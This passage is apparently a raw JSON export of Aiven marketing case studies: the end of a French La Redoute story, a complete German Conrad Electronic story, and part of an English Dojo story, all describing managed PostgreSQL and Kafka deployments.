que du côté des bases de données avec MySQL. Nous sommes également très intéressés par les capacités d’optimisation basées sur l’IA d’EverSQL by Aiven, notamment si elles s’étendent à d’autres solutions Aiven. »"}],"markDefs":[],"style":"normal"}],"title":"Apporter une valeur stratégique à l’entreprise, plus rapidement","topOverlap":false,"variant":"oneColumn"},{"_key":"d97f5ac05718","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"f02b3fa526c3","_type":"block","children":[{"_key":"e7fbd1e00f610","_type":"span","marks":[],"text":"La Redoute prévoit de standardiser ses opérations numériques dans tous les pays afin d'améliorer l'efficacité et de faciliter le déploiement de nouvelles solutions. « Nous devons construire des systèmes unifiés utilisables par tous les pays, nous permettant de répondre aux besoins de l’entreprise de manière plus rapide et plus agile. Une grande partie de ces systèmes utilisera la plateforme Aiven », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"577bf315e2c5","_type":"block","children":[{"_key":"37c42c49c71f0","_type":"span","marks":[],"text":"Ce sentiment est partagé par João Granja, CTO de La Redoute : « Notre engagement envers Aiven dépasse un simple accord contractuel. C’est un partenariat fondé sur la confiance. Aiven a eu un impact transformateur sur notre entreprise, et nous sommes impatients de voir la contribution que ce partenariat apportera au succès de La Redoute dans les années à venir. »"}],"markDefs":[],"style":"normal"}],"title":"Vers l’avenir","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":true,"heroSubtitle":"Acteur majeur du e-commerce dans la maison et la mode, La Redoute migre son infrastructure de données vers Microsoft Azure pour gérer les pics saisonniers de ventes.","heroTitle":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}},"publishedAt":"2024-06-27T12:42:01.407Z","seo":{"_type":"metaData","metaDescription":"Un acteur majeur du e-commerce dans la maison et la mode migre son infrastructure de données vers Microsoft Azure pour gérer les pics saisonniers de ventes.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-436b4bd753779bd43e780801da8722e9224a6cb2-1200x630-png","_type":"reference"}},"metaTitle":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure"},"slug":{"_type":"slug","current":"/case-studies/la-redoute-takes-control-of-cloud-costs-with-byoc"},"title":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure","ytId":"mPWxizlA3so"}
{"__i18n_base":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-06-26T06:58:02Z","_id":"70bc73d4-2f43-4499-9c4f-fbf349c35841__i18n_de","_rev":"PbSF8wjEESeIG4nK3tXjWR","_type":"caseStudy","_updatedAt":"2024-11-28T15:53:56Z","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"db08334384b4","_type":"block","children":[{"_key":"ad8b69cfa81e0","_type":"span","marks":[],"text":"Conrad Electronic mit Sitz in Deutschland bietet eine moderne Beschaffungsplattform für 21 Millionen Kunden weltweit. Das Unternehmen hat sich zum Ziel gesetzt, die führende europäische B2B-Beschaffungsplattform für technischen Bedarf zu werden. Die E-Commerce-Datenbank stellt dabei das Herzstück des Geschäfts dar. Die rasche Expansion der Online-Plattform des Händlers sowie die damit verbundene Datenexplosion machten eine Anpassung der Dateninfrastruktur erforderlich. Diese musste schneller, robuster und skalierbarer werden. Conrad entschied sich für Aiven, um die Open-Source-Datentechnologien PostgreSQL®, Apache Kafka®, OpenSearch® und M3 auf Google Cloud zu verwalten. Die E-Commerce-Plattform profitiert nun von Daten-Streaming in Echtzeit und einer hochstabilen Datenbank, die 11,2 Millionen Anfragen pro Stunde bewältigt und ihren Kunden ein schnelles, erstklassiges Erlebnis bietet. Da Aiven die Dateninfrastruktur in der Cloud verwaltet, können sich die Entwickler von Conrad auf das konzentrieren, was sie am besten können - noch mehr Nutzen für ihre Kunden zu schaffen."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"cdfd4919cd5c","_type":"block","children":[{"_key":"5b45849c49500","_type":"span","marks":[],"text":"Seit 1923 ist Conrad Electronic ein zuverlässiger Partner, wenn es um Technik und Elektronik geht. Heute bietet das Unternehmen als Beschaffungsplattform alles für eine erfolgreiche Beschaffung von technischem Bedarf. Geschäftskunden erhalten bei Conrad genau das, was ihr Projekt oder Geschäft zum Erfolg führt: ein breites und fundiertes Sortiment mit neun Millionen Produkten zur Auswahl, kundenorientierte Lösungen und Services sowie eine persönliche Beratung durch Experten. Das Unternehmen hat sich erfolgreich von einem traditionellen B2C-Händler zu einer internationalen B2B-Beschaffungsplattform entwickelt. Auf conrad.de werden mehr als 9 Millionen Produkte von 6.000 Marken vertrieben – von IT-Ausrüstung und -Werkzeuge bis hin zu Batterien und Automatisierungsprodukten. Die Conrad-Gruppe erwirtschaftet einen Jahresumsatz von mehr als 1 Milliarde Euro und hat sich zum Ziel gesetzt, die führende europäische B2B-Beschaffungsplattform für technischen Bedarf zu werden."}],"markDefs":[],"style":"normal"}],"title":"Eine moderne B2B-Beschaffungsplattform mit 9 Millionen Produkten von 6.000 Marken auf conrad.de","variant":"oneColumn"},{"_key":"19308632851c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"1b242cf5c4d1","_type":"block","children":[{"_key":"66494faa78350","_type":"span","marks":[],"text":"Die E-Commerce-Plattform von Conrad bietet seinen 21 Millionen Kunden weltweit ein schnelles und bequemes Online-Einkaufserlebnis. Sie können Produkte aller Marken vergleichen und alles, was sie brauchen, an einem Ort kaufen.\n\nDie Datenbank von Conrad ist das zentrale Element der E-Commerce-Aktivitäten und speichert wichtige Daten wie Benutzerprofile, Wunschlisten, Bestellungen, Artikelnummern und Produktpreise. „Unsere Datenbank ist das Herzstück unserer E-Commerce-Plattform. Ohne sie läuft nichts“, sagt Janek Wonner, Head of SRE \u0026 Cloud Technology bei Conrad Electronic.\n\nBis 2020 nutzte Conrad eine selbstverwaltete PostgreSQL-Datenbank für den E-Commerce, die auf Google Cloud lief. Mit der Erweiterung seiner Plattform wollte der Händler auf eine schnellere und robustere Version upgraden. Aufgrund begrenzter Ressourcen gab es jedoch Bedenken hinsichtlich der Durchführbarkeit eines erfolgreichen Datenbank-Upgrades, insbesondere in Anbetracht der erforderlichen Fachkenntnisse.\n\n„Wir können keine Unterbrechung der Datenbankfunktion riskieren - Ausfallzeiten können wir uns nicht leisten. Wenn die E-Commerce-Plattform offline ist, können wir keine Bestellungen bearbeiten. Jede Minute kostet Geld\", so Wonner.\n\nWonner erwog die Option, mit selbstverwaltetem PostgreSQL weiterzumachen, verwarf sie aber schnell wieder. Das Upgrade und die anschließende Verwaltung würden enorme Ressourcen und Fähigkeiten erfordern, die Conrad zu diesem Zeitpunkt einfach nicht zur Verfügung standen."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL-Upgrade könnte Unterbrechung des E-Commerce-Marktplatzes auslösen","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5f72c480fef5","_type":"block","children":[{"_key":"88463fbcf9f30","_type":"span","marks":[],"text":"Wonner bewertete die PostgreSQL Managed Services von fünf verschiedenen Anbietern anhand einer Vielzahl von Kriterien. Aiven schnitt dabei am besten ab. „Es gab viele Gründe, warum wir uns für Aiven entschieden haben, aber wenn ich die drei wichtigsten nennen müsste, würde ich sagen: großartige Mitarbeiter, Benutzerfreundlichkeit und eine faire, transparente Preisgestaltung\", sagt Wonner. „Für uns war das gesamte Aiven-Setup und der Umgang mit dem Team von Aiven wirklich unkompliziert. Wir haben bei vielen Anbietern Proof of Concepts angefragt und Aiven war bei weitem der unkomplizierteste und schnellste.“\n\nDer Übergang zu Aiven und das anschließende Upgrade auf PostgreSQL verliefen reibungslos. Die Integration der Aiven-Dienste in die Google Cloud hat dies maßgeblich unterstützt. „Es ist sehr erfreulich, dass wir Open-Source-Datendienste wie PostgreSQL von Aiven bekommen, die bereits in der Google Cloud eingerichtet sind. Das spart uns Zeit und Mühe”, bestätigt Wonner. Im Anschluss führte sein Team mehrere Testläufe und Belastungstests durch, danach führte Aiven Kompatibilitätsprüfungen durch, um die notwendigen Anpassungen vor dem Upgrade zu ermitteln. Conrad importierte daraufhin seine gesamte Datenbank in eine Aiven-Instanz und führte mehrere Tests durch, die eine deutliche Beschleunigung der neuen Datenbank nachwiesen. Nach einer erfolgreichen Testphase wurde die neue Lösung in Produktion genommen und von Wonners Team schnell angenommen.\n\n„Aiven hat ein elegantes, einfaches Dashboard, das für unsere Entwickler leicht zu verstehen und zu bedienen ist. Wir können neue Cluster mit ein paar Klicks aufsetzen. Aiven macht PostgreSQL für uns wirklich einfach“, sagt Wonner.\n\nZu diesem Zeitpunkt befand sich das Conrad noch in einer Wachstumsphase und das Unternehmen sah sich mit weiteren Herausforderungen im Bereich der Dateninfrastruktur konfrontiert. Mit der wachsenden Anzahl von Marktplatz-Verkäufern und Produkten stieg auch die Menge der Produktdaten exponentiell an. „Wir benötigten eine Architektur, die das rapide ansteigende Datenvolumen, das zwischen unseren Anwendungen transferiert wurde, besser unterstützen konnte. Apache Kafka erwies sich für das Datenstreaming in Echtzeit als vielversprechend, allerdings war uns bewusst, dass die Verwaltung eine Herausforderung darstellen würde”, sagt Alexander Kaiser, Head of Platform Architecture.\n\nAngesichts des Erfolgs von Aiven for PostgreSQL beschloss das Team, Aiven for Apache Kafka auf Google Cloud zu testen. Auch hier verlief der Übergang reibungslos. „Wir hatten die Befürchtung, dass wir etwas Besonderes tun müssten, damit es mit Aiven funktioniert, aber das war nicht der Fall“, sagt Diego Irismar da Costa, Platform Architect bei Conrad Electronic. „Uns gefällt, dass es sich um die Open-Source-Version von Apache Kafka handelt und nicht um eine angepasste Version mit Anbieterbindung. Wenn wir online recherchieren, wie man Kafka verwendet, gilt das auch für Aiven for Apache Kafka. Das macht es für uns wirklich einfach.“"}],"markDefs":[],"style":"normal"}],"title":"Reibungsloser Übergang zur Aiven-Plattform in der Google Cloud","variant":"oneColumn"},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"89cb3d1e48e0","_type":"block","children":[{"_key":"b7a97699866d0","_type":"span","marks":[],"text":"Seit dem Upgrade auf Aiven for PostgreSQL verfügt Conrad über eine leistungsstarke, schnelle und zuverlässige E-Commerce-Datenbank. Sie bewältigt ein enormes Datenvolumen - 11,2 Millionen Anfragen pro Stunde - und kann problemlos skaliert werden, um Nachfragespitzen zu bewältigen. Das Team von Wonner muss sich nicht mehr um Wartung und Upgrades kümmern, da diese von Aiven mit einer Hochverfügbarkeit (SLA) von 99,99 % verwaltet werden.\n\nPostgreSQL von Aiven lässt sich in führende E-Commerce-Anwendungen integrieren. Dazu gehören die E-Procurement-Lösungen von Conrad, die die Kundenbindung stärken, indem sie den Beschaffungsprozess für B2B-Kunden vereinfachen. So kommuniziert die Datenbank beispielsweise mit dem Open Catalog Interface (OCI) von Conrad. Damit können Kunden den Conrad Marktplatz in ihr SAP-Beschaffungssystem integrieren, um Produkte bequemer zu bestellen und von maßgeschneiderten Angeboten und Rabatten zu profitieren.\n\nEin weiterer Vorteil ist, dass Conrad das Google Cloud VPC Network Peering mit Aiven nutzen kann, wodurch eine Latenz von unter einer Millisekunde erreicht wird. „Wir haben eine große Anzahl von Datenbankabfragen, daher ist die unglaublich niedrige Latenz, die durch das Google Cloud VPC Network Peering ermöglicht wird, für uns sehr wichtig. Sie stellt sicher, dass die E-Commerce-Plattform mit hoher Geschwindigkeit arbeitet, was zu einer besseren Kundenerfahrung führt“, sagt Wonner."}],"markDefs":[],"style":"normal"}],"title":"E-Commerce-Datenbank verarbeitet 11,2 Millionen Anfragen pro Stunde bei einer Betriebszeit von 99,99 % und einer Latenzzeit von unter 1 Millisekunde","variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"2749ce102778","_type":"block","children":[{"_key":"4383a8a5fa060","_type":"span","marks":[],"text":"Durch den Einsatz von Aiven for Apache Kafka kann Conrad die wachsenden Datenmengen, die mit hoher Geschwindigkeit über die E-Commerce-Plattform fließen, skalieren und wichtige Integrationen problemlos durchführen. So nutzt Conrad jetzt Apache Kafka, um Daten aus dem Produktinformationsmanagement (PIM) in Echtzeit an das Produktservice-System zu senden, das Kunden Produktinformationen über eine API zur Verfügung stellt.\n\n„Aiven for Apache Kafka ist jetzt unsere wichtigste Technologie für die Verwaltung des Informationsflusses zwischen den vielen verschiedenen Systemen, die unserem E-Commerce-Marktplatz zugrunde liegen“, sagt Kaiser. „Es ist schnell, zuverlässig und skalierbar.“\n\n\nConrad hat auch begonnen, Aiven for OpenSearch und Aiven for M3 zu nutzen. Diese Dienste werden hauptsächlich verwendet, um Logs und Metriken über Apache Kafka und PostgreSQL zu sammeln, die dann mit Grafana visualisiert werden.\n\n„Die Kombination der Managed Services von Aiven bringt uns große Vorteile. Wir können problemlos neue Dienste hinzufügen, ohne einen neuen Anbieter einbinden zu müssen. Wir können alles von einem Ort aus verwalten. Die Kosten sind transparent, und wir können bei der Planung leicht sehen, wie viel es kosten wird, weitere Dienste in Anspruch zu nehmen“, erklärt Wonner."}],"markDefs":[],"style":"normal"}],"title":"Kontinuierliches Echtzeit Daten-Streaming zwischen Anwendungen","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"f2a66be2a075","_type":"block","children":[{"_key":"ced7ae93cad20","_type":"span","marks":[],"text":"Conrad verfügt nun über eine hochstabile und skalierbare Dateninfrastruktur, die die Grundlage für seine E-Commerce-Plattform bildet und sicherstellt, dass die 200 Millionen Besuche, die Conrad jährlich auf seiner Plattform verzeichnet, stets schnell und zuverlässig abgewickelt werden. Da das tägliche Management von Aiven übernommen wird, können sich die Ingenieure und Entwickler von Conrad darauf konzentrieren, das Kundenerlebnis weiter zu verbessern.\n\n„Wir haben ein kleines Team, das sich um PostgreSQL, Kafka und MongoDB kümmert. Wenn wir das alles selbst machen würden, müssten wir unser Team verdoppeln. Mit Aiven kann sich unser Team auf das konzentrieren, was für unsere Kunden wichtig ist. Mit einer begrenzten Anzahl von Mitarbeitern erreichen wir Großes. Da das Unternehmen weiter wächst, wird Aiven ein starker Partner bleiben\", sagt Kaiser."}],"markDefs":[],"style":"normal"}],"title":"Gemeinsam Großes erreichen - heute und zukünftig","variant":"oneColumn"}],"heroSubtitle":"Die internationale Beschaffungsplattform für technischen Bedarf bietet nun einen noch höheren Kundennutzen, Aiven verwaltet dabei die Cloud-Dateninfrastruktur","heroTitle":"Conrad Electronic baut E-Commerce-Plattform mit Aiven aus","image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"publishedAt":"2023-06-26T10:41:00.000Z","seo":{"_type":"metaData","metaDescription":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","metaImage":{"_type":"mainImage","asset":{"_ref":"image-367bca89312b776def9b418373f2d59eb54d6d70-3295x1724-png","_type":"reference"}},"metaTitle":"Conrad Electronic Expands E-Commerce Platform with Aiven"},"slug":{"_type":"slug","current":"/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},"title":"Conrad Electronic baut E-Commerce-Plattform mit Aiven aus"}
{"__i18n_lang":"en","_createdAt":"2024-09-30T11:42:30Z","_id":"6a76be10-d322-4bb6-b867-51cc286fa0c1","_rev":"WvYfyMjuvK5pr969lNmuuQ","_type":"caseStudy","_updatedAt":"2024-10-03T14:35:01Z","company":{"_ref":"1b22d545-7abf-4b09-b314-93ca43cc3922","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"bd0811327248","_type":"block","children":[{"_key":"1a5ed24dc74b0","_type":"span","marks":[],"text":"Dojo, a rapidly scaling UK tech company, is expanding its operations across Europe and adding new data and AI-driven services to its payment processing services for businesses. With Aiven, the organization has implemented a new data streaming platform that integrates multiple cloud environments, databases and tools. This provides the speed, scalability and resilience that Dojo’s business requires — while giving its teams the autonomy to innovate with data and better serve its customers."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"1a2281decc37","_type":"block","children":[{"_key":"98bbf0a873d80","_type":"span","marks":[],"text":"Dojo is one of the fastest growing tech companies in Europe. It specializes in payment processing services, handling £2.2 million in UK-based transactions every half hour — and more than 35 million transactions every week."}],"markDefs":[],"style":"normal"},{"_key":"232b451dcdff","_type":"block","children":[{"_key":"9736b71e37f70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"97ebfd8a4431","_type":"block","children":[{"_key":"86c7a7b5ed1d0","_type":"span","marks":[],"text":"Today Dojo has more than 150,000 customers and a team of more than 1,000 employees with several offices in UK alone. Initially a card-payment provider for small businesses, it has expanded its services to include Dojo Bookings and the Dojo restaurant finder application, formerly WalkUp, popular with 600 restaurants and 600,000 diners. Dojo is expanding its European footprint and has launched in Southern Ireland and Spain."}],"markDefs":[],"style":"normal"}],"title":"An innovative tech company with big plans","topOverlap":false,"variant":"oneColumn"},{"_key":"e2abd0d2fc35","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-555744d0655654c68c125b8aa421bdc009c43a62-1200x630-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b529f80028ef","_type":"block","children":[{"_key":"89d4010e270f0","_type":"span","marks":[],"text":"“In a heavily regulated industry like payment processing, data reliability is essential. It demands strict guarantees around the security and speed of all payment data,” says Jérémy Barneron, Senior Software Engineer, Dojo. “It is not acceptable for Dojo to lose a single transaction, miss a settlement or experience a delay in processing as this would compromise our customers’ cash flow and revenue streams.”"}],"markDefs":[],"style":"normal"},{"_key":"6a48098821ad","_type":"block","children":[{"_key":"1f0b454c5eaf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cd78220d12ab","_type":"block","children":[{"_key":"294620fa6c600","_type":"span","marks":[],"text":"Dojo prioritized speed and reliability from inception, building a multi-cloud payment solution on AWS, Google Cloud and Oracle Cloud. This microservices-based architecture enabled rapid feature releases and market leadership while mitigating vendor lock-in and enhancing resiliency."}],"markDefs":[],"style":"normal"},{"_key":"58d56319821e","_type":"block","children":[{"_key":"b319fdabc7050","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2d846c988efd","_type":"block","children":[{"_key":"c2b4fd80ada60","_type":"span","marks":[],"text":"This flexible approach enabled the various teams at Dojo to choose a combination of cloud services and databases that worked best for their use cases. However, Dojo found it challenging to navigate the increasing complexity of managing, and extracting value from, data generated by multiple sources."}],"markDefs":[],"style":"normal"},{"_key":"6e121363e9e6","_type":"block","children":[{"_key":"b3e6087c5b13","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2b3a83e02123","_type":"block","children":[{"_key":"00e5b02a36a80","_type":"span","marks":[],"text":"This complexity was also hindering the company’s plans to expand both its services and geographical footprint. “With our ambition to scale up, we had a hard requirement to streamline communication throughout all of the services and all the different functions of the business,” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"b845ba68db5a","_type":"block","children":[{"_key":"301cbab6d4a5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a9df84f04e1a","_type":"block","children":[{"_key":"f05ea9eddd0a0","_type":"span","marks":[],"text":"At the same time, Dojo understood the importance of data quality and governance. It relied on tooling from each of the cloud providers, many of which fell short of Dojo’s requirements. As a result, Dojo’s engineers were responsible for taking time-consuming, additional measures on each cloud platform to ensure the tooling remained secure and compliant with regulations like GDPR and PCI."}],"markDefs":[],"style":"normal"},{"_key":"1a30c2989ac0","_type":"block","children":[{"_key":"da56a89f086a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Data infrastructure is the key to success ","topOverlap":false,"variant":"oneColumn"},{"_key":"1777d845b35c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-011be1ee4b6f75c4bcab5bd0094410db5b17393a-3500x2333-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0c905e58e9c0","_type":"block","children":[{"_key":"d6917f88f410","_type":"span","marks":[],"text":"To overcome these challenges, and to increase its data analytics capabilities, Dojo wanted to create a centralized data streaming and messaging architecture. It decided to publish all its data to Apache Kafka®, an open-source distributed event streaming platform that can handle high-volume, high-velocity and high-variety data streams at very low latencies."}],"markDefs":[],"style":"normal"},{"_key":"6bc825a1dc92","_type":"block","children":[{"_key":"238741d351a40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d9540e6bb2fc","_type":"block","children":[{"_key":"3d20a3f3c28a0","_type":"span","marks":[],"text":"But Dojo also wanted a managed Kafka service, and one that was compatible with multiple clouds across a variety of geographical regions. After evaluating the market, it chose Aiven for Apache Kafka. “We work with lots of cloud providers, so we need a solution that fits with them all. We also wanted an open-source solution as we try to avoid vendor lock-in. Aiven was the perfect match,” says Elad Leev, Senior Data Platform Engineer, Dojo."}],"markDefs":[],"style":"normal"},{"_key":"909b2e3f5ee7","_type":"block","children":[{"_key":"bb1609d6932d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ef5ca8a403c4","_type":"block","children":[{"_key":"8f091e69515b0","_type":"span","marks":[],"text":"“Within a year, we built a complete end-to-end data streaming platform that met all our demands for reliability, scalability and fault-tolerance, and which could deal with any data challenge. Aiven for Apache Kafka is at the heart of this environment.” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"c5ef87b7523e","_type":"block","children":[{"_key":"db08e6308ce20","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"96c2f3ea0c4e","_type":"block","children":[{"_key":"4868982e1f610","_type":"span","marks":[],"text":"All the data generated from different systems, for example from settlement, clearing and billing, still runs on different clouds and databases such as OracleDB, MongoDB, PostgreSQL and Google Spanner. But now the majority of the data is published to Aiven for Apache Kafka running on Google Cloud, which is then synched according to the unique needs of various teams and functions of the business. For example, a significant volume of data goes to Google BigQuery for data analytics and to feed Dojo’s various AI and ML systems."}],"markDefs":[],"style":"normal"},{"_key":"8f65d02fafe2","_type":"block","children":[{"_key":"18dcba80c1f9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"87c1e1a73552","_type":"block","children":[{"_key":"b5c54725639b0","_type":"span","marks":[],"text":"“With the Aiven Platform, our teams have the autonomy to select the database and cloud solution they believe will work best, and to shape the data to solve their specific use case,” Jérémy says."}],"markDefs":[],"style":"normal"},{"_key":"c9ff0481a792","_type":"block","children":[{"_key":"a5ee74d3e1bf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5b18d0b4cc89","_type":"block","children":[{"_key":"76f82e30464b0","_type":"span","marks":[],"text":"For greater resilience, Dojo has adopted a cross cloud disaster recovery strategy, using several regional sites that replicate the data to other cloud providers in real time."}],"markDefs":[],"style":"normal"}],"title":"Unifying multiple data streams and clouds on a single platform","topOverlap":false,"variant":"oneColumn"},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"ab2e2ed34fa7","_type":"block","children":[{"_key":"ef1a373bb4fe0","_type":"span","marks":[],"text":"With the new data streaming platform in place, Dojo is seeing improved data quality and data governance. The open-source streaming ecosystem and tools around Apache Kafka provides Dojo with critical capabilities like Change Data Capture (CDC) through Aiven for Apache Kafka® Connect."}],"markDefs":[],"style":"normal"},{"_key":"3646130239f1","_type":"block","children":[{"_key":"ade64819335d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c4636d5bf5e7","_type":"block","children":[{"_key":"a0de74b9fbfe0","_type":"span","marks":[],"text":"This technology continuously captures changes in data as they occur and propagates the changes in real time to Apache Kafka to keep all downstream applications in sync. CDC is a linchpin in Dojo's commitment to robust data ingestion, governance and compliance. Jérémy says, \"It’s really valuable to us that Aiven provides managed open-source tooling around Kafka, such as Kafka Connect. It helps us guarantee the right levels of consistency in our systems.”"}],"markDefs":[],"style":"normal"},{"_key":"ba2450c269af","_type":"block","children":[{"_key":"ef6dbc68f1390","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cf51783b6d6c","_type":"block","children":[{"_key":"6d32adb7654f0","_type":"span","marks":[],"text":"“It was a big selling point that Aiven provides a fully open-source schema registry for managing data right out of the box — in fact it was a game-changer,” says Jérémy. “It reduces our technical debt, avoids proprietary solutions and allows us to focus more on innovation and what matters for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"01eea2f7b0b2","_type":"block","children":[{"_key":"114d86ce8811","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6f140182bfbf","_type":"block","children":[{"_key":"15e121328af90","_type":"span","marks":[],"text":"The real-time data streaming capabilities of Kafka enables Dojo to perform essential business functions much faster. For example, as a non-bank payment service provider, Dojo is legally obliged to protect or ‘safeguard’ customer funds as a transaction comes in from its payment systems. Safeguarding requires checks and API calls to different providers and security companies, which can be completed significantly faster through their event-driven architecture powered by Aiven for Apache 